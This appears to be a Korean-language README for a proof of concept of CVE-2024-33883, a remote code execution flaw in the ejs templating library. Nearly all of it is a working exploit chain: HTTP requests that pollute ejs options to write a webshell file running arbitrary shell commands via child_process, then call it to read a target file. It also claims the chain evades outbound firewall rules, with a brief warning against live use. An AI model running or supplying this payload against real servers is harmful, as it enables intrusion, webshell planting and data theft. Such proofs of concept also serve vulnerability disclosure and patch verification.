grantzile/poc-cve-2024-33883CVE-2024-33883의 PoC, ejs의 RCE 취약점.
1. ejs/lib/ejs.js - 라인 580, 636, 637
1. GET /pollute?target=client&value=1
2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");
3. GET /
- Inject webshell
4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");
5. GET /
- Activate webshell
위 PoC는 ufw 방화벽의 아웃바운드 패킷 드롭을 우회할 수 있습니다.
이는 RCE 취약점이며, 라이브 서버에서 악용하지 마십시오.